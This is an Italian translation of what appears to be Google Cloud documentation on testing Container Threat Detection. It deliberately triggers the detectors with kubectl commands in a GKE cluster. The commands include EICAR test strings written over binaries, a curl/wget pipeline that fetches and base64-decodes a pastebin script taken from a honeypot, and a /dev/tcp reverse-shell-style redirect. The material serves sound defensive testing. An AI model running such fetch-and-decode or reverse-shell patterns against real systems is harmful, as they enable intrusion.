Verifica di Container Threat Detection

Nota: questa funzionalità è disponibile con il livello Enterprise o il livello Premium di Security Command Center.

Questa pagina spiega come verificare che Container Threat Detection funzioni correttamente attivando intenzionalmente i rilevatori e controllando i risultati. Container Threat Detection è un servizio integrato dei livelli Premium ed Enterprise di Security Command Center. Per visualizzare i risultati di Container Threat Detection, è necessario abilitarlo nelle impostazioni dei servizi di Security Command Center.

Prima di iniziare

Per rilevare potenziali minacce ai container, devi assicurarti che i cluster utilizzino una versione supportata di Google Kubernetes Engine (GKE). Per maggiori informazioni, consulta Utilizzo di una versione GKE supportata.

Imposta le variabili di ambiente

Per testare i rilevatori, usa la console Google Cloud e Cloud Shell. Puoi impostare le variabili di ambiente in Cloud Shell per semplificare l'esecuzione dei comandi. Le seguenti variabili vengono utilizzate per testare tutti i rilevatori di Container Threat Detection.

1. Vai alla console Google Cloud.

   Vai alla console Google Cloud

2. Seleziona il progetto che contiene il container che vuoi utilizzare per il test.

3. Fai clic su Attiva Cloud Shell.

4. In Cloud Shell, imposta le variabili di ambiente.

   1. La zona in cui si trova il cluster:

      export ZONE=CLUSTER_ZONE
      

   2. Il progetto in cui si trova il container:

      export PROJECT=PROJECT_ID
      

   3. Il nome del tuo cluster:

      export CLUSTER_NAME=CLUSTER_NAME
      

Le variabili sono impostate. Le seguenti sezioni includono le istruzioni per testare i rilevatori di Container Threat Detection.

Programma binario aggiuntivo eseguito

Per attivare un risultato aggiunto come binario eseguito, trascina un file binario nel container ed eseguilo. In questo esempio viene eseguito il deployment dell'immagine Ubuntu 18.04 più recente, copia /bin/ls in un'altra posizione e poi la esegue. L'esecuzione del programma binario è imprevista perché la copia del programma binario non faceva parte dell'immagine container originale, anche quando l'immagine si trova su Ubuntu 18.04, e i container sono pensati per essere immutabili.

1. Imposta le variabili di ambiente.

2. Usa Cloud Shell per accedere al piano di controllo del cluster:

   gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT
   

3. Rilascia un programma binario ed eseguilo:

   tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   kubectl run --restart=Never --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu1804:latest \
   "$tag" -- bash -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
   

Questa procedura di test dovrebbe creare un risultato Binary Esecuzione aggiunto che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Per la riduzione del rumore, quando crei per la prima volta un container, Container Threat Detection filtra temporaneamente i risultati aggiunti Binary Runningd. Per visualizzare tutti i risultati associati a risultati binari aggiunti durante la configurazione di un container, anteponi ktd-test al nome del container o del pod, come nell'esempio.

Libreria aggiuntiva caricata

Per attivare un risultato con Libreria aggiunta caricata, trascina una libreria nel contenitore e poi caricala. In questo esempio viene eseguito il deployment dell'immagine Ubuntu 18.04 più recente, copia /lib/x86_64-linux-gnu/libc.so.6 in un'altra posizione e poi la carica utilizzando ld. La libreria caricata è imprevista perché la copia della libreria non faceva parte dell'immagine container originale, anche se l'immagine si trova su Ubuntu 18.04, e i container sono pensati per essere immutabili.

1. Imposta le variabili di ambiente.

2. Usa Cloud Shell per accedere al piano di controllo del cluster:

   gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT
   

3. Rilascia una raccolta e utilizza ld per caricarla:

   tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   kubectl run --restart=Never --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu1804:latest \
   "$tag" -- bash -c "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
   

Questa procedura di test dovrebbe creare un risultato con caricamento di libreria aggiunta che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Per la riduzione del rumore, quando crei per la prima volta un container, Container Threat Detection filtra temporaneamente i risultati relativi al caricamento della libreria aggiunta. Per visualizzare tutti i risultati relativi al caricamento della libreria aggiunta durante la configurazione di un container, anteponi ktd-test al nome del container o del pod, come nell'esempio.

Esecuzione: esecuzione di elementi binari dannosi aggiunta

Per attivare un risultato: esecuzione: aggiunta di un risultato binario dannoso eseguito, trascina un file binario dannoso nel container ed eseguilo. Questo esempio esegue il deployment dell'ultima immagine Ubuntu 18.04, crea un file dannoso simulato e quindi lo esegue. L'esecuzione del programma binario è imprevista perché il file binario simulato dannoso non fa parte dell'immagine del container originale, mentre il file binario è un file di test EICAR, classificato come dannoso dalla threat intelligence.

1. Imposta le variabili di ambiente.

2. Usa Cloud Shell per accedere al piano di controllo del cluster:

   gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT
   

3. Elimina il file binario EICAR ed eseguilo:

   tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
   kubectl run --restart=Never --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu1804:latest \
   "$tag" -- bash -c \
   "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; ./tmp/test_mal_file; sleep 10"
   

Questa procedura di test dovrebbe creare un risultato "Esecuzione: esecuzione binario dannoso aggiunto eseguito" che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se si attiva il livello Premium o Enterprise di Security Command Center.

Per la riduzione del rumore, quando crei per la prima volta un container, Container Threat Detection filtra temporaneamente i risultati di Esecuzione: aggiunti risultati binari dannosi eseguiti. Per visualizzare tutti i risultati relativi all'esecuzione: aggiunti risultati di esecuzione binaria dannosi aggiunti durante la configurazione di un container, fai precedere il nome del container o del pod con ktd-test, come nell'esempio.

Esecuzione: esecuzione di un file binario dannoso modificato

Per attivare un risultato di esecuzione: esecuzione: esecuzione binaria dannosa modificata, modifica ed esegui un programma binario dannoso nel container. In questo esempio viene eseguito il deployment dell'ultima immagine Ubuntu 18.04, modifica /bin/ls in un file dannoso simulato e quindi lo esegue. L'esecuzione del programma binario è imprevista perché /bin/ls viene modificato durante il runtime del container come programma binario dannoso simulato, mentre il file binario è un file di test EICAR, classificato come dannoso dalla threat intelligence.

un file EICAR che verifica il file dannoso e quindi lo esegue. L'esecuzione del programma binario è inaspettata perché l'oggetto /bin/ls creato viene modificato durante il runtime del container come un EICAR che verifica il programma binario dannoso, mentre il file binario EICAR è un file dannoso noto secondo le informazioni sulle minacce.

1. Imposta le variabili di ambiente.

2. Usa Cloud Shell per accedere al piano di controllo del cluster:

   gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT
   

3. Elimina il file binario EICAR ed eseguilo:

   tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
   kubectl run --restart=Never --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu1804:latest \
   "$tag" -- bash -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
   

Questa procedura di test dovrebbe creare un risultato di esecuzione: esecuzione: binario dannoso modificato eseguito, che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato il logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Per la riduzione del rumore, quando crei per la prima volta un container, Container Threat Detection filtra temporaneamente i risultati di Esecuzione: risultati binari modificati dannosi eseguiti. Per visualizzare tutti i risultati di esecuzione: esecuzione: esecuzione binaria dannosa modificata durante la configurazione di un container, fai precedere il nome del container o del pod con ktd-test, come nell'esempio.

Script dannoso eseguito

Per attivare un risultato Eseguito script dannoso, puoi eseguire lo script nella seguente procedura nel tuo contenitore.

La procedura esegue il deployment dell'ultima immagine Ubuntu 18.04, copia uno script che sembra dannoso, quindi lo esegue. Per attivare un rilevamento, uno script deve apparire dannoso per il rilevatore.

1. Imposta le variabili di ambiente.

2. Usa Cloud Shell per accedere al piano di controllo del cluster:

   gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT
   

3. Esegui lo script seguente in un nuovo container.

   Questo script shell bash incorporato ha avuto origine da un honeypot. Tuttavia, è stato modificato in modo da non eseguire il programma binario dannoso, quindi l'esecuzione dello script non causerà attività dannose nel container. Il file binario all'URL di riferimento potrebbe essere stato rimosso e il tentativo di seguire l'URL genererà un errore 404. È previsto. Il tentativo di scaricare, decodificare ed eseguire un programma binario utilizzando uno script in linea è l'elemento che attiva il rilevamento.

    tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true  -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest "$tag" \
     -- bash -c "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
   

Questa procedura di test crea un risultato "Esecuzione di script dannosi" che puoi visualizzare in Security Command Center e Cloud Logging se hai configurato il logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

URL dannoso osservato

Per attivare un risultato Osservato URL dannoso, esegui un programma binario e fornisci un URL dannoso come argomento.

L'esempio seguente esegue il deployment di un'immagine Ubuntu 18.04 ed esegue /bin/curl per accedere a un URL di malware di esempio dal servizio Navigazione sicura.

1. Imposta le variabili di ambiente.

2. Usa Cloud Shell per accedere al piano di controllo del cluster:

   gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT
   

3. Esegui curl e fornisci un URL dannoso come argomento:

      tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      url="https://testsafebrowsing.appspot.com/s/malware.html"
      kubectl run --restart=Never --rm=true -i \
      --image marketplace.gcr.io/google/ubuntu1804:latest \
      "$tag" -- bash -c "curl $url | cat"
   

Questa procedura di test attiva un risultato Osservato URL dannoso che puoi visualizzare in Security Command Center e, se hai configurato il logging per Container Threat Detection, in Cloud Logging. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Shell inversa

Per attivare un risultato della shell inversa, avvia un programma binario con il reindirizzamento stdin a un socket connesso TCP. Questo esempio avvia /bin/echo con il reindirizzamento al DNS pubblico di Google 8.8.8.8 sulla porta DNS. Non viene stampato nulla quando esegui questo esempio. Per impedire l'inserimento di codice esterno tramite un attacco man in the middle (MITM), questo esempio non utilizza /bin/bash binary.

1. Imposta le variabili di ambiente.

2. Usa Cloud Shell per accedere al piano di controllo del cluster:

   gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT
   

3. Avvia un programma binario con il reindirizzamento /bin/echo al DNS pubblico di Google:

   tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   kubectl run --restart=Never --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu1804:latest \
   "$tag" -- bash -c "/bin/echo >& /dev/tcp/8.8.8.8/53 0>&1"
   

Questa procedura di test crea un risultato di Reverse Shell che puoi visualizzare in Security Command Center e in Cloud Logging, se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Shell figlio imprevista

Per testare il rilevatore Unexpected Child Shell, puoi creare un albero dei processi che includa un processo shell figlio.

L'esempio seguente crea un albero dei processi httpd->dash, che può essere rilevato dal rilevatore Unexpected Child Shell. Questo test è sicuro perché utilizza solo file binari integrati. In questo esempio si verifica quanto segue:

1. Crea una copia del processo bash e la assegna httpd.
2. Copia il processo echo e lo nomina dash.
3. Richiama il processo dash copiato nel processo httpd copiato.

Per attivare un risultato Unexpected Child Shell, segui questi passaggi:

1. Imposta le variabili di ambiente.

2. Usa Cloud Shell per accedere al piano di controllo del cluster:

   gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT
   

3. Il processo httpd fittizio richiama una shell fittizia:

   tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   kubectl run --restart=Never --rm=true -ti \
   --image ubuntu "$tag" --command \
   -- /bin/sh -c 'cp /bin/bash /tmp/httpd; cp /bin/echo /tmp/bash; \
   /tmp/httpd -c "/tmp/bash child ran successfully & wait"'
   

Questa procedura di test crea un risultato Unexpected Child Shell che puoi visualizzare in Security Command Center. Se hai configurato Logging per Container Threat Detection e hai attivato il livello Security Command Center Premium o Enterprise a livello di organizzazione, puoi visualizzare i risultati anche in Cloud Logging.

NOTA: la parte & wait del comando di test riportato sopra è importante. La versione in anteprima pubblica del rilevatore della shell secondaria imprevista può acquisire solo i processi principali che fork e poi exec una nuova shell. Se la parte & wait del comando viene omessa, il rilevatore non sarà in grado di acquisire l'evento.

Passaggi successivi

• Scopri come utilizzare Container Threat Detection.